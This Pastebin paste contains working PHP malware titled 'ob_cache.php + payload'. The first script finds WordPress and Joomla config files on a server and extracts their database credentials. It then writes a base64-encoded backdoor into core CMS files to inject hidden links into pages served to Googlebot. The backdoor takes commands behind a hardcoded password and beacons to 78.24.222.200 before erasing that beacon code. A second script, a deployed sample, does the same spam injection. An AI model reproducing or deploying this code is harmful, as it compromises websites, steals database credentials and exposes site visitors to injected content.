daily pastebin goal
58%
SHARE
TWEET

ob_cache.php + payload

a guest Dec 27th, 2015 430 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. DEFINE('ONLY_SEARCH', false);
  4. DEFINE('MAX_LEVEL', 2);
  5. DEFINE('MAX_ITERATION', 500);
  6. DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
  7. DEFINE('URL', 'http://78.24.222.200/use.php');
  8.  
  9. $GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');
  10.  
  11. $GLOBALS['_'] = Array();
  12. $dirs = Array();
  13. $domain = Array();
  14.  
  15. $search = Array(
  16.     Array('file' => 'configuration.php', 'cms' => 'jm', '_key' => 'JConfig'),
  17.     Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
  18. );
  19.  
  20. $BASE_64 = 'Y2xhc3MgQ2FjaGVfQ2xhc3MKCXsKCQlwcml2YXRlICR0YWJsZSA9ICd7JFRBQkxFfSc7CgkJcHVibGljICRzdGFydF9jYWNoZSA9IGZhbHNlOwoJCXByaXZhdGUgJGNtcyA9ICd7JENNU30nOwoJCXByaXZhdGUgJGNhbm9uaWNhbCA9ICcnOwoJCQoJCXByaXZhdGUgJGRiX2hvc3QgPSAneyRIT1NUfSc7CgkJcHJpdmF0ZSAkZGJfdXNlciA9ICd7JFVTRVJ9JzsKCQlwcml2YXRlICRkYl9wYXNzd29yZCA9ICd7JERCX1BBU1NXT1JEfSc7CgkJcHJpdmF0ZSAkZGJfbmFtZSA9ICd7JE5BTUV9JzsKCQkKCQlwcml2YXRlIGZ1bmN0aW9uIHVybF9ub3coKQoJCQl7CgkJCQlyZXR1cm4gJ2h0dHA6Ly8nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gdXJsZGVjb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKCQkJfQoJCQoJCXByaXZhdGUgZnVuY3Rpb24gdXJsX2NyZWF0ZSgkd29yayA9IDEpCgkJCXsKCQkJCUBteXNxbF9xdWVyeSgnIElOU0VSVCBJTlRPIGAnLiR0aGlzLT50YWJsZS4nYCBTRVQgYHdvcmtgID0gIicuJHdvcmsuJyIsIGB1cmxgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkdGhpcyAtPiB1cmxfbm93KCkpLiciCgkJCQlPTiBEVVBMSUNBVEUgS0VZIFVQREFURSBgd29ya2AgPSAiJy4kd29yay4nIgoJCQkJJyk7CgkJCX0KCQkKCQlwdWJsaWMgZnVuY3Rpb24gdXJsX2NvZGUoKQoJCQl7CgkJCQlpZiAoJHF1ZXJ5ID0gQG15c3FsX3F1ZXJ5KCdTRUxFQ1QgYGNvZGVgIEZST00gYCcuJHRoaXMtPnRhYmxlLidgIFdIRVJFIGB1cmxgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkdGhpcyAtPiB1cmxfbm93KCkpLiciJykpCgkJCQkJewoJCQkJCQlyZXR1cm4gc3RyaXBzbGFzaGVzKEBteXNxbF9yZXN1bHQoJHF1ZXJ5LCAwKSk7CgkJCQkJfQoJCQkJCgkJCQlyZXR1cm4gJyc7CgkJCX0KCQkKCQlwcml2YXRlIGZ1bmN0aW9uIHVybF9leGlzdCgpCgkJCXsKCQkJCWlmICgkcXVlcnkgPSBAbXlzcWxfcXVlcnkoJ1NFTEVDVCBjb3VudCgqKSBGUk9NIGAnLiR0aGlzLT50YWJsZS4nYCBXSEVSRSBgdXJsYCA9ICInLm15c3FsX2VzY2FwZV9zdHJpbmcoICR0aGlzLT51cmxfbm93KCkgKS4nIicpKQoJCQkJCXsKCQkJCQkJaWYgKEBteXNxbF9yZXN1bHQoJHF1ZXJ5LCAwKSA9PSAnMCcpCgkJCQkJCQl7CgkJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCQl7CgkJCQkJCQkJcmV0dXJuIHRydWU7CgkJCQkJCQl9CgkJCQkJfQoJCQkJCQoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQkKCQlwcml2YXRlIGZ1bmN0aW9uIGdldF9jb2RlKCkKCQkJewoJCQkJJG9wdGlvbnNbJ2h0dHAnXSA9IGFycmF5KAoJCQkJCSdtZXRob2QnID0+ICJHRVQiLAoJCQkJCSdmb2xsb3dfbG9jYXRpb24nID0+IDAKCQkJCSk7CgkJCQkKCQkJCSRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsKCQkJCSRnZXQgPSBmaWxlX2dldF9jb250ZW50cygkdGhpcy0+dXJsX25vdygpLCBOVUxMLCAkY29udGV4dCk7CgkJCQkKCQkJCWlmIChwcmVnX21hdGNoKCchPGxpbmtbXj5dKnJlbD1bXCciXWNhbm9uaWNhbFtcJyJdW14+XSpocmVmPVtcJyJdKFteXCciXSspW1wnIl1bXj5dKj4haXMnLCAkZ2V0LCAkXykpCgkJCQkJewoJCQkJCQkkdGhpcyAtPiBjYW5vbmljYWwgPSBodG1sX2VudGl0eV9kZWNvZGUodXJsZGVjb2RlKCRfWzFdKSk7CgkJCQkJfQoJCQkJZWxzZWlmIChwcmVnX21hdGNoKCchPGxpbmtbXj5dKmhyZWY9W1wnIl0oW15cJyJdKylbXCciXVtePl0qcmVsPVtcJyJdY2Fub25pY2FsW1wnIl1bXj5dKj4haXMnLCAkZ2V0LCAkXykpCgkJCQkJewoJCQkJCQkkdGhpcyAtPiBjYW5vbmljYWwgPSBodG1sX2VudGl0eV9kZWNvZGUodXJsZGVjb2RlKCRfWzFdKSk7CgkJCQkJfQoKCQkJCWlmICghZW1wdHkoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSkKCQkJCQl7CgkJCQkJCXNzY2FuZigkaHR0cF9yZXNwb25zZV9oZWFkZXJbMF0sICdIVFRQLyUqZC4lKmQgJWQnLCAkY29kZSk7CgkJCQkJCWlmIChpc19udW1lcmljKCRjb2RlKSkgcmV0dXJuICRjb2RlOwoJCQkJCX0KCQkJCQoJCQkJcmV0dXJuIDIwMDsKCQkJfQoJCQkKCQlwdWJsaWMgZnVuY3Rpb24gcHJlX2NhY2hlKCkKCQkJewoJCQkJaWYgKGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pKQoJCQkJCXsKCQkJCQkJc3dpdGNoICgkX1BPU1RbJ2FjdGlvbiddKQoJCQkJCQkJewoJCQkJCQkJCWNhc2UgJ2dldF9hbGxfbGlua3MnOwoJCQkJCQkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwoJCQkJCQkJCQlpZiAoJHF1ZXJ5ICA9IEBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGhpcy0+dGFibGUuJ2AgV0hFUkUgYHdvcmtgID0gIjEiIE9SREVSIEJZIGB1cmxgIERFU0MgTElNSVQgMCwgMjUwMCcpKQoJCQkJCQkJCQkJewoJCQkJCQkJCQkJCXdoaWxlICgkZGF0YSA9IEBteXNxbF9mZXRjaF9hc3NvYygkcXVlcnkpKSAKCQkJCQkJCQkJCQkJewoJCQkJCQkJCQkJCQkJZWNobyAnPGU+PHVybD4nIC4gJGRhdGFbJ3VybCddIC4gJzwvdXJsPjxjb2RlPicgLiAkZGF0YVsnY29kZSddIC4gJzwvY29kZT48aWQ+JyAuICRkYXRhWydJRCddIC4gJzwvaWQ+PC9lPicgLiAiXHJcbiI7CgkJCQkJCQkJCQkJCX0KCQkJCQkJCQkJCX0KCQkJCQkJCQlicmVhazsKCQkJCQkJCQkKCQkJCQkJCQljYXNlICdzZXRfbGlua3MnOwoJCQkJCQkJCQlpZiAoaXNzZXQoJF9QT1NUWydkYXRhJ10pKQoJCQkJCQkJCQkJewoJCQkJCQkJCQkJCWlmIChteXNxbF9xdWVyeSgnVVBEQVRFIGAnLiR0aGlzLT50YWJsZS4nYCBTRVQgY29kZSA9ICInIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkX1BPU1RbJ2RhdGEnXSkgLiAnIiBXSEVSRSBjb2RlID0gIiIgQU5EIGB3b3JrYCA9ICIxIiBMSU1JVCAxJykpCgkJCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQkJCWVjaG8gJ3RydWUnOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQl9CgkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJCgkJCQkJCQkJY2FzZSAnc2V0X2lkX2xpbmtzJzsKCQkJCQkJCQkJaWYgKGlzc2V0KCRfUE9TVFsnZGF0YSddKSkKCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQlpZiAoQG15c3FsX3F1ZXJ5KCdVUERBVEUgYCcuJHRoaXMtPnRhYmxlLidgIFNFVCBjb2RlID0gIicgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRfUE9TVFsnZGF0YSddKSAuICciIFdIRVJFIGBJRGAgPSAiJyAuIG15c3FsX2VzY2FwZV9zdHJpbmcoJF9QT1NUWydpZCddKSAuICciJykpCgkJCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQkJCWVjaG8gJ3RydWUnOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQl9CgkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJCgkJCQkJCQkJZGVmYXVsdDogZGllKCdlcnJvciBhY3Rpb24nKTsKCQkJCQkJCX0KCQkJCQkJZXhpdDsKCQkJCQl9CgkJCX0KCQkKCQlzdGF0aWMgZnVuY3Rpb24gd29yZHByZXNzX2NhY2hlKCRjb250ZW50KQoJCQl7CgkJCQkkR0xPQkFMU1snX2NhY2hlXyddIC0+IGNyZWF0ZV9uZXdfcGFnZSgpOwoJCQkJJGNvbnRlbnQgPSAkY29udGVudCAuICRHTE9CQUxTWydnbG9iYWxfY29kZSddOwoJCQkJJEdMT0JBTFNbJ2dsb2JhbF9jb2RlJ10gPSAnJzsKCQkJCXJldHVybiAkY29udGVudCA7CgkJCX0KCQkKCQlwdWJsaWMgZnVuY3Rpb24gY3JlYXRlX25ld19wYWdlKCkKCQkJewoJCQkJJEdMT0JBTFNbJ19jYWNoZV8nXSAtPiBkYl9jb25uZWN0KCk7CgkJCQlpZiAoIChzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pLCAnZ29vZ2xlYm90JykgIT09IGZhbHNlKSAmJighJHRoaXMgLT4gdXJsX2V4aXN0KCkpKQoJCQkJCXsKCQkJCQkJJHRoaXMgLT4gdXJsX2NyZWF0ZSggMCApOwoJCQkJCQkKCQkJCQkJaWYgKCgkdGhpcyAtPiBnZXRfY29kZSgpID09IDIwMCkgJiYgKCAoJHRoaXMgLT4gY2Fub25pY2FsID09ICcnKSB8fCAoICR0aGlzIC0+IGNhbm9uaWNhbCA9PSAkdGhpcy0+dXJsX25vdygpICkgKSkKCQkJCQkJCXsKCQkJCQkJCQkkdGhpcyAtPiB1cmxfY3JlYXRlKCk7CgkJCQkJCQl9CgkJCQkJfQoJCQl9CgkJCgkJc3RhdGljIGZ1bmN0aW9uIHVwZGF0ZV9jb250ZW50KCRjb250ZW50LCAkY29kZSkKCQkJewoJCQkJaWYgKCFlbXB0eSgkY29kZSkpCgkJCQkJewoJCQkJCQlpZiAocHJlZ19tYXRjaCgnITxib2R5W14+XSo+IWlzJywgJGNvbnRlbnQpKQoJCQkJCQkJewoJCQkJCQkJCSRjb250ZW50ID0gcHJlZ19yZXBsYWNlKCchKDxib2R5W14+XSo+KSFzaScsICdcMScgLiAkY29kZSwgJGNvbnRlbnQpOwoJCQkJCQkJfQoJCQkJCQllbHNlaWYgKHByZWdfbWF0Y2goJyE8L2JvZHk+IXNpJywgJGNvbnRlbnQpKQoJCQkJCQkJewoJCQkJCQkJCSRjb250ZW50ID0gcHJlZ19yZXBsYWNlKCchPC9ib2R5PiFzaScsICRjb2RlIC4gJzwvYm9keT4nLCAkY29udGVudCk7CgkJCQkJCQl9CgkJCQkJCWVsc2VpZiAocHJlZ19tYXRjaCgnITwvaHRtbD4hc2knLCAkY29udGVudCkpCgkJCQkJCQl7CgkJCQkJCQkJJGNvbnRlbnQgPSBwcmVnX3JlcGxhY2UoJyE8L2h0bWw+IXNpJywgJGNvZGUgLiAnPC9odG1sPicsICRjb250ZW50KTsKCQkJCQkJCX0KCQkJCQkJZWxzZQoJCQkJCQkJewoJCQkJCQkJCSRjb250ZW50IC49ICRjb2RlOwoJCQkJCQkJfQoJCQkJCX0KCQkJCQkKCQkJCXJldHVybiAkY29udGVudDsKCQkJfQoJCQoJCXN0YXRpYyBmdW5jdGlvbiBfY2FjaGUoJGNvbnRlbnQpCgkJCXsKCQkJCSRHTE9CQUxTWydfY2FjaGVfJ10gLT4gY3JlYXRlX25ld19wYWdlKCk7CgkJCQlyZXR1cm4gQ2FjaGVfQ2xhc3M6OnVwZGF0ZV9jb250ZW50KCRjb250ZW50LCAkR0xPQkFMU1snZ2xvYmFsX2NvZGUnXSkgOwoJCQl9CgkJCgkJc3RhdGljIGZ1bmN0aW9uIGRpc2FibGVfY2FjaGUoKQoJCQl7CgkJCQkgQG9iX2VuZF9mbHVzaCgpOwoJCQl9CgkJCgkJcHJpdmF0ZSBmdW5jdGlvbiBkYl9jb25uZWN0KCkKCQkJewoJCQkJQG15c3FsX2Nvbm5lY3QoJHRoaXMgLT4gZGJfaG9zdCwgJHRoaXMgLT4gZGJfdXNlciwgJHRoaXMgLT4gZGJfcGFzc3dvcmQpOwoJCQkJQG15c3FsX3NlbGVjdF9kYiggJHRoaXMgLT4gZGJfbmFtZSApOwoJCQl9CgkJCgkJcHVibGljIGZ1bmN0aW9uIGNyZWF0ZV9jYWNoZSgpCgkJCXsKCQkJCSR0aGlzIC0+IHN0YXJ0X2NhY2hlID0gQG9iX3N0YXJ0KCBBcnJheSgkdGhpcywgJ19jYWNoZScpICk7CgkJCX0KCQkJCgkJc3RhdGljIGZ1bmN0aW9uIGNyZWF0ZSgpCgkJCXsKCQkJCWlmICggc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnd3AtYWRtaW4nKSAhPT0gRkFMU0UgKSByZXR1cm4gOwoJCQkJJEdMT0JBTFNbJ19jYWNoZV8nXSA9IG5ldyBDYWNoZV9DbGFzcygpOwoJCQkJaWYgKCRHTE9CQUxTWydfY2FjaGVfJ10gLT4gY21zID09ICdqbScpICRHTE9CQUxTWydfY2FjaGVfJ10gLT4gZGJfY29ubmVjdCgpOwoJCQkJaWYgKCRfUE9TVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSAkR0xPQkFMU1snX2NhY2hlXyddIC0+IHByZV9jYWNoZSgpOwoJCQkJJEdMT0JBTFNbJ2dsb2JhbF9jb2RlJ10gPSAkR0xPQkFMU1snX2NhY2hlXyddIC0+IHVybF9jb2RlKCk7CgkJCQkJCQoJCQkJc3dpdGNoICgkR0xPQkFMU1snX2NhY2hlXyddIC0+IGNtcykKCQkJCQl7CgkJCQkJCWNhc2UgJ3dwJzsKCQkJCQkJCWFkZF9maWx0ZXIoJ3RoZV9jb250ZW50JywgQXJyYXkoJEdMT0JBTFNbJ19jYWNoZV8nXSwgJ3dvcmRwcmVzc19jYWNoZScpKTsKCQkJCQkJYnJlYWs7CgkJCQkJCQkJCgkJCQkJCWRlZmF1bHQ6ICRHTE9CQUxTWydfY2FjaGVfJ10gLT4gY3JlYXRlX2NhY2hlKCk7CgkJCQkJfQkJCQkJCQoJCQl9CgkJCQoJfQoKQ2FjaGVfQ2xhc3M6OmNyZWF0ZSgpOw==';
  21.  
  22. function Match($regexp, $content, $index = 1)
  23.     {
  24.         if (preg_match($regexp, $content, $result))
  25.             {
  26.                 return $result[$index];
  27.             }
  28.         return false;
  29.     }
  30.  
  31. function SearchFile($search, $path)
  32.     {
  33.         if ($dir = @opendir($path))
  34.             {
  35.                 $i = 0;
  36.                 while (($filename = @readdir($dir)) !== false)
  37.                     {
  38.                         if ($i > MAX_ITERATION) break;
  39.                         $i++;
  40.                         if ($filename != '.' && $filename != '..')
  41.                             {
  42.                                 if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey']))
  43.                                     {
  44.                                         SearchFile($search, $path . '/' . $filename);
  45.                                     }
  46.                                 else
  47.                                     {
  48.                                         foreach ($search as $_)
  49.                                             {
  50.                                                 if (strtolower($filename) == strtolower($_['file']))
  51.                                                     {
  52.                                                         $GLOBALS['_'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
  53.                                                     }
  54.                                             }
  55.                                     }
  56.                             }
  57.                     }
  58.             }
  59.     }
  60.  
  61. function pingCode($password)
  62.     {
  63.         return '//PING
  64.                 if (@file_get_contents(\''.URL.'?p='.$password.'&url=\' . $_SERVER[\'HTTP_HOST\']))
  65.                     {
  66.                         if ($file = @file_get_contents(__FILE__))
  67.                             {
  68.                                 $file = preg_replace(\'!//PING.*//ENDPING!s\', \'\', $file);
  69.                                 @file_put_contents(__FILE__, $file);
  70.                             }
  71.                     }
  72.                 //ENDPING
  73.         ';
  74.     }
  75.    
  76. function getCode($password, $data, $cms)
  77.     {
  78.         global $BASE_64;
  79.         $code =  '';
  80.        
  81.         if ($code = base64_decode($BASE_64))
  82.             {
  83.                 $code = str_replace('{$TABLE}', $data['prefix'] . 'cache_module_content', $code);
  84.                 $code = str_replace('{$PASSWORD}', $password, $code);
  85.                 $code = str_replace('{$CMS}', $cms, $code);
  86.                
  87.                 $code = str_replace('{$HOST}', $data['host'], $code);
  88.                 $code = str_replace('{$USER}', $data['login'], $code);
  89.                 $code = str_replace('{$DB_PASSWORD}', $data['password'], $code);
  90.                 $code = str_replace('{$NAME}', $data['name'], $code);
  91.             }
  92.        
  93.         return $code;
  94.     }
  95.    
  96. function CreateJoomCode($data)
  97.     {
  98.         $password = md5('_Password_' . rand(100, 200));
  99.         $code = pingCode($password) . "\n" . getCode($password, $data, 'jm');
  100.        
  101.         $sql = 'CREATE TABLE IF NOT EXISTS `'.$data['prefix'].'cache_module_content` (
  102.                       `url` varchar(255) NOT NULL,
  103.                       `code` text NOT NULL,
  104.                       `work` int(11) NOT NULL,
  105.                       `ID` int(11) NOT NULL AUTO_INCREMENT,
  106.                       PRIMARY KEY (`ID`),
  107.                       UNIQUE KEY `url` (`url`),
  108.                       KEY `work` (`work`)
  109.                     ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;';
  110.                    
  111.         @mysql_connect($data['host'], $data['login'], $data['password']);
  112.         @mysql_select_db($data['name']);
  113.        
  114.             if (@mysql_query($sql))
  115.                 {
  116.                     $_file = $data['path'] . '/includes/framework.php';
  117.                    
  118.                     if (file_exists($_file))
  119.                         {
  120.                             $file_content = file_get_contents( $_file );
  121.                             if (strpos($file_content, 'Cache_Class') === false)
  122.                                 {
  123.                                     $count = 1;
  124.                                     $file_content = str_replace('<?php', '<?php' . "\n" . $code, $file_content, $count);
  125.                                     file_put_contents($_file, $file_content);
  126.                                 }
  127.                         }
  128.                    
  129.                 }
  130.                
  131.         @mysql_close();
  132.     }
  133.    
  134.    
  135. function CreateWpCode($data)
  136.     {
  137.         $password = md5('_Password_' . rand(100, 200));
  138.         $code = pingCode($password) . "\n" . getCode($password, $data, 'wp');
  139.        
  140.         @mysql_connect($data['host'], $data['login'], $data['password']);
  141.         @mysql_select_db($data['name']);
  142.  
  143.         if (file_exists($data['path'] . '/wp-includes/post.php'))
  144.             {
  145.                 $file = file_get_contents($data['path'] . '/wp-includes/post.php');
  146.                
  147.                 if (strpos($file, 'Cache_Class') === FALSE)
  148.                     {
  149.                         $sql = 'CREATE TABLE IF NOT EXISTS `'.$data['prefix'].'cache_module_content` (
  150.                                       `url` varchar(255) NOT NULL,
  151.                                       `code` text NOT NULL,
  152.                                       `work` int(11) NOT NULL,
  153.                                       `ID` int(11) NOT NULL AUTO_INCREMENT,
  154.                                       PRIMARY KEY (`ID`),
  155.                                       UNIQUE KEY `url` (`url`),
  156.                                       KEY `work` (`work`)
  157.                                     ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;';
  158.                            
  159.                         if (@mysql_query($sql))
  160.                             {
  161.                                 $file = str_replace('function get_attached_file', $code . "\n\n".'function get_attached_file', $file);
  162.                                 file_put_contents($data['path'] . '/wp-includes/post.php', $file);
  163.                             }
  164.                     }
  165.                
  166.             }
  167.  
  168.         @mysql_close();
  169.        
  170.     }
  171.    
  172.    
  173. function checkDomain($configFile, $type, &$domain)
  174.     {
  175.         global $search;
  176.        
  177.         if ($file = file_get_contents($configFile))
  178.             {
  179.                 foreach ($search as $_)
  180.                     {
  181.                         if ($type == $_['cms'])
  182.                             {
  183.                                 if (strpos($file, $_['_key']) !== false)
  184.                                     {
  185.                                         switch ($type)
  186.                                             {
  187.                                                 case 'wp';
  188.                                                     $db_name = Match('!DB_NAME[\'\s\,]+\'([^\']*)\'\s*\)!s', $file);
  189.                                                     $db_login = Match('!DB_USER[\'\s\,]+\'([^\']*)\'\s*\)!s', $file);
  190.                                                     $db_password = Match('!DB_PASSWORD[\'\s\,]+\'([^\']*)\'\s*\)!s', $file);
  191.                                                     $db_host = Match('!DB_HOST[\'\s\,]+\'([^\']*)\'\s*\)!s', $file);
  192.                                                     $db_prefix = Match('!\$table_prefix[\s=]*\'([^\']*)\'!s', $file);
  193.                                                 break;
  194.                                                
  195.                                                 case 'jm';
  196.                                                     $db_name = Match('!\$db\s*=\s*\'([^\']*)\'!s', $file);
  197.                                                     $db_login = Match('!\$user\s*=\s*\'([^\']*)\'!s', $file);
  198.                                                     $db_password = Match('!\$password\s*=\s*\'([^\']*)\'!s', $file);
  199.                                                     $db_host = Match('!\$host\s*=\s*\'([^\']*)\'!s', $file);
  200.                                                     $db_prefix = Match('!\$dbprefix\s*=\s*\'([^\']*)\'!s', $file);
  201.                                                 break;
  202.                                             }
  203.                                            
  204.                                         $domain[] = Array('host' => $db_host, 'name' => $db_name, 'login' => $db_login, 'password' => $db_password, 'prefix' => $db_prefix, 'path' => Match('!^(.*)/[^/]*$!s', $configFile), 'type' => $type);
  205.                                         return ;
  206.                                            
  207.                                     }
  208.                             }
  209.                     }
  210.             }
  211.            
  212.     }
  213.    
  214. function getDirList($path)
  215.     {
  216.         if ($dir = @opendir($path))
  217.             {
  218.                 $result = Array();
  219.                
  220.                 while (($filename = @readdir($dir)) !== false)
  221.                     {
  222.                         if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename))
  223.                             $result[] = $path . '/' . $filename;
  224.                     }
  225.                
  226.                 return $result;
  227.             }
  228.            
  229.         return false;
  230.     }
  231.  
  232. //create root dir
  233. for ($i = 0; $i<MAX_LEVEL; $i++)
  234.     {
  235.         $dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
  236.     }
  237.    
  238. //search file  
  239. foreach ($dirs as $dir)
  240.     {
  241.         foreach (@getDirList($dir) as $__)
  242.             {
  243.                 @SearchFile($search, $__);
  244.             }
  245.     }
  246.  
  247. //check domain + get db data
  248. foreach ($GLOBALS['_'] as $e)
  249.     {
  250.         @checkDomain($e[1], $e[0], $domain);
  251.     }
  252.    
  253. if (!ONLY_SEARCH) {
  254.     //add code
  255.     foreach ($domain as $__)
  256.         {
  257.             switch ($__['type'])
  258.                 {
  259.                     case 'jm';
  260.                         @CreateJoomCode($__);
  261.                     break;
  262.                    
  263.                     case 'wp';
  264.                         @CreateWpCode($__);
  265.                     break;
  266.                 }
  267.         }
  268.        
  269. }
  270.  
  271. echo json_encode($domain);
  272.  
  273. ?>
  274. <?php
  275.         //PING
  276.             if (@file_get_contents('http://78.24.222.200/sav.php?p=89ca6538ef13c7abf890acff2ca0***&url=' . $_SERVER['HTTP_HOST']))
  277.                 {
  278.                     if ($file = @file_get_contents(__FILE__))
  279.                         {
  280.                             $file = preg_replace('!//PING.*//ENDPING!s', '', $file);
  281.                             @file_put_contents(__FILE__, $file);
  282.                         }
  283.                 }
  284.         //ENDPING
  285.         include_once($_SERVER['DOCUMENT_ROOT'].'/configuration.php');
  286.  
  287.         $config = new JConfig();
  288.  
  289.         mysql_connect($config->host, $config->user, $config->password);
  290.         mysql_select_db($config->db);
  291.  
  292.         if (isset($_POST['action']) && isset($_POST['password']) && $_POST['password'] == '89ca6538ef13c7abf890acff2ca0ef04') {
  293.             if ($_POST['action'] == 'mail') {
  294.                 if (@mail("email@example.com", "Subj", "Mail")) {
  295.                     echo "OK";
  296.                 } else {
  297.                     echo "ERROR";
  298.                 }
  299.                 exit;
  300.             }
  301.             if ($_POST['action'] == 'get_all_links') {
  302.                 header("Content-Type: text/plain");
  303.                 $return = '';
  304.                 $query  = @mysql_query('SELECT * FROM `jos_cache_content` ORDER BY url DESC');
  305.                 while ($data = @mysql_fetch_assoc($query)) {
  306.                     $return .= '<e><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
  307.                 }
  308.                 echo ($return);
  309.                 exit;
  310.             }
  311.             if ($_POST['action'] == 'set_links') {
  312.                 if (isset($_POST['data']))
  313.                     @mysql_query('UPDATE `jos_cache_content` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE code = "" LIMIT 1');exit;
  314.             }
  315.             if ($_POST['action'] == 'set_id_links') {
  316.                 if (isset($_POST['data']))
  317.                     @mysql_query('UPDATE `jos_cache_content` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_POST['id']) . '"');exit;
  318.             }
  319.         }
  320.  
  321.         function obCacheStart($content) {
  322.             $config = new JConfig();
  323.             mysql_connect($config->host, $config->user, $config->password);
  324.             mysql_select_db($config->db);
  325.            
  326.             $args     = 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']);
  327.             mysql_query('SELECT count(*) FROM `jos_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"');
  328.  
  329.             $cache_query = @mysql_query('SELECT count(*) FROM `jos_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"');
  330.             if ($cache_query) {
  331.                 $cache_result = @mysql_result($cache_query, 0);
  332.                 if ($cache_result == '0') {
  333.                     @mysql_query('INSERT INTO `jos_cache_content` (`url`, `code`, `ID`) VALUES("' . mysql_escape_string($args) . '", "", NULL)');
  334.                 }
  335.                 $data = @mysql_result(mysql_query('SELECT `code` FROM `jos_cache_content` WHERE `url` = "' . mysql_escape_string($args) . '"'), 0);
  336.             }
  337.            
  338.             if (isset($data) && !empty($data))
  339.                 {
  340.                     if (preg_match('!<body[^>]*>!is', $content)) {
  341.                         $content = preg_replace('!(<body[^>]*>)!si', '\1' . $data, $content);
  342.                     }
  343.                     else {
  344.                     if (preg_match('!</body>!si', $content))
  345.                         {
  346.                             $content = preg_replace('!</body>!si', $data.'</body>', $content);
  347.                         } else
  348.                             {
  349.                                 if (preg_match('!</html>!si', $content))
  350.                                                 {
  351.                                                     $content = preg_replace('!</html>!si', $data.'</html>', $content);
  352.                                                 }                      
  353.                             }
  354.                     }
  355.                 }
  356.                
  357.             return $content;
  358.         }
  359.  
  360.         @ob_start('obCacheStart');
  361.  
  362.         ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top